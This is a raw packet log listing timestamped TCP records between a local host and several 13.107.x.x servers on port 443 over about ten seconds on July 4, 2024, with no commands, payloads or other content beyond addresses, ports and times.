Jul 4, 2024 20:16:48.753593922 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.753601074 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.753782988 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.753834009 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.753840923 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.753850937 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.753885031 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.753901958 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.753906965 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.753926039 CEST	443	49766	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:48.753943920 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.753974915 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.754333019 CEST	49766	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:48.764332056 CEST	49768	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:48.764362097 CEST	443	49768	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:48.764446020 CEST	49768	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:48.764713049 CEST	49768	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:48.764725924 CEST	443	49768	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:49.369108915 CEST	443	49768	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:49.371078014 CEST	49768	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:49.371095896 CEST	443	49768	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:49.535140038 CEST	443	49768	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:49.535216093 CEST	443	49768	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:49.535283089 CEST	49768	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:49.535662889 CEST	49768	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:49.545258999 CEST	49769	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:49.545293093 CEST	443	49769	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:49.545403957 CEST	49769	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:49.545655966 CEST	49769	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:49.545670033 CEST	443	49769	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:50.169670105 CEST	443	49769	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:50.171650887 CEST	49769	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:50.171710014 CEST	443	49769	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.057615042 CEST	443	49769	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.057725906 CEST	443	49769	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.057751894 CEST	49769	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.057815075 CEST	49769	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.058576107 CEST	49769	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.060163975 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.060194969 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.060288906 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.060580969 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.060591936 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.668943882 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.674632072 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.674652100 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.858079910 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.858123064 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.858225107 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.858237982 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.859215021 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.859262943 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.859278917 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.859286070 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.859309912 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.911336899 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.948932886 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.948947906 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.949048996 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.949059963 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.949521065 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.949579954 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.949584961 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.949886084 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.949944973 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.949949980 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.950578928 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:51.950635910 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:51.950639963 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.005106926 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.039513111 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.039530993 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.039566040 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.039582014 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.039588928 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.039598942 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.039611101 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.039666891 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.039671898 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.039709091 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.040244102 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.040306091 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.040309906 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.040565014 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.040613890 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.040618896 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.041359901 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.041419983 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.041424036 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.041574955 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.041634083 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.041639090 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.042331934 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.042413950 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.042419910 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.043162107 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.043224096 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.043229103 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.083189964 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.130136013 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.130229950 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.130244970 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.130359888 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.130412102 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.130417109 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.130543947 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.130600929 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.130604982 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.130846977 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.130888939 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.130892992 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.131442070 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.131500959 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.131505013 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.131663084 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.131721020 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.131724119 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.132215023 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.132272959 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.132277012 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.132543087 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.132595062 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.132599115 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.133105040 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.133158922 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.133162975 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.133493900 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.133543968 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.133549929 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.133554935 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.133590937 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.134048939 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.134099960 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.134104013 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.134140015 CEST	443	49770	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.134143114 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.134187937 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.134495020 CEST	49770	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.144185066 CEST	49771	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:52.144211054 CEST	443	49771	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:52.144308090 CEST	49771	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:52.144560099 CEST	49771	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:52.144571066 CEST	443	49771	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:52.767586946 CEST	443	49771	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:52.769720078 CEST	49771	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:52.769736052 CEST	443	49771	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:52.926922083 CEST	443	49771	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:52.927160025 CEST	443	49771	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:52.927242041 CEST	49771	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:52.927741051 CEST	49771	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:52.929425001 CEST	49772	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.929472923 CEST	443	49772	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:52.929583073 CEST	49772	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.929882050 CEST	49772	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:52.929898024 CEST	443	49772	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:53.530745029 CEST	443	49772	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:53.532790899 CEST	49772	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:53.532815933 CEST	443	49772	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:54.309809923 CEST	443	49772	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:54.309881926 CEST	49772	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:54.309900999 CEST	443	49772	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:54.309947968 CEST	443	49772	13.107.137.11	192.168.2.6
Jul 4, 2024 20:16:54.310003996 CEST	49772	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:54.310693979 CEST	49772	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:16:54.319715977 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:54.319741964 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:54.323165894 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:54.323405027 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:54.323417902 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.020380020 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.022687912 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.022728920 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.197348118 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.197642088 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.197650909 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.197712898 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.197731972 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.197778940 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.198465109 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.198527098 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.581916094 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.581928968 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.582056046 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.582077980 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.582659960 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.582727909 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.582740068 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.583188057 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.583244085 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.583259106 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.583383083 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.583431005 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.583441973 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.626554966 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.800615072 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.800625086 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.800684929 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.800720930 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.800728083 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.801088095 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.801141024 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.801150084 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.801739931 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.801795006 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.801803112 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.803392887 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.803451061 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.803458929 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.804244995 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.804313898 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.804326057 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.805082083 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.805136919 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.805147886 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.806777000 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.806832075 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.806843996 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.807805061 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.807861090 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.807869911 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.810102940 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.810153961 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.810167074 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.810833931 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.810889959 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.810898066 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.812261105 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.812320948 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.812330008 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.813442945 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.813500881 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.813508987 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.813755035 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.813805103 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.813812017 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.813997984 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.814054012 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.814060926 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.814980984 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.815040112 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.815049887 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.815144062 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.815200090 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.815206051 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.815440893 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.815495968 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.815505981 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.815670013 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.815736055 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.815743923 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.815932035 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.815985918 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.815994978 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.816004992 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.816036940 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.816044092 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.816077948 CEST	443	49773	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:55.816116095 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.816459894 CEST	49773	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:55.826167107 CEST	49774	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:55.826204062 CEST	443	49774	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:55.826272964 CEST	49774	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:55.826489925 CEST	49774	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:55.826505899 CEST	443	49774	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:56.417292118 CEST	443	49774	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:56.420034885 CEST	49774	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:56.420057058 CEST	443	49774	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:56.542876959 CEST	443	49774	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:56.542982101 CEST	443	49774	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:56.543428898 CEST	49774	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:56.543451071 CEST	443	49774	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:56.543467045 CEST	49774	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:56.543503046 CEST	49774	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:56.544991016 CEST	49775	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:56.545042992 CEST	443	49775	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:56.545116901 CEST	49775	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:56.545377970 CEST	49775	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:56.545397997 CEST	443	49775	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:57.166881084 CEST	443	49775	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:57.173850060 CEST	49775	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:57.173882961 CEST	443	49775	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:57.811464071 CEST	443	49775	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:57.811556101 CEST	443	49775	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:57.811561108 CEST	49775	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:57.811604023 CEST	49775	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:57.812390089 CEST	49775	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:57.813996077 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:57.814026117 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:57.814102888 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:57.814410925 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:57.814424038 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.416662931 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.418629885 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.418643951 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.581896067 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.581934929 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.582011938 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.582027912 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.583043098 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.583111048 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.583116055 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.583125114 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.583199978 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.671973944 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.672087908 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.672100067 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.672388077 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.672470093 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.672477007 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.672883034 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.672946930 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.672954082 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.673682928 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.673763990 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.673770905 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.723845959 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.762068987 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.762211084 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.762242079 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.762394905 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.762480974 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.762495995 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.763214111 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.763276100 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.763283968 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.763506889 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.763572931 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.763578892 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.764137030 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.764198065 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.764205933 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.764476061 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.764539003 CEST	49776	443	192.168.2.6	13.107.139.11
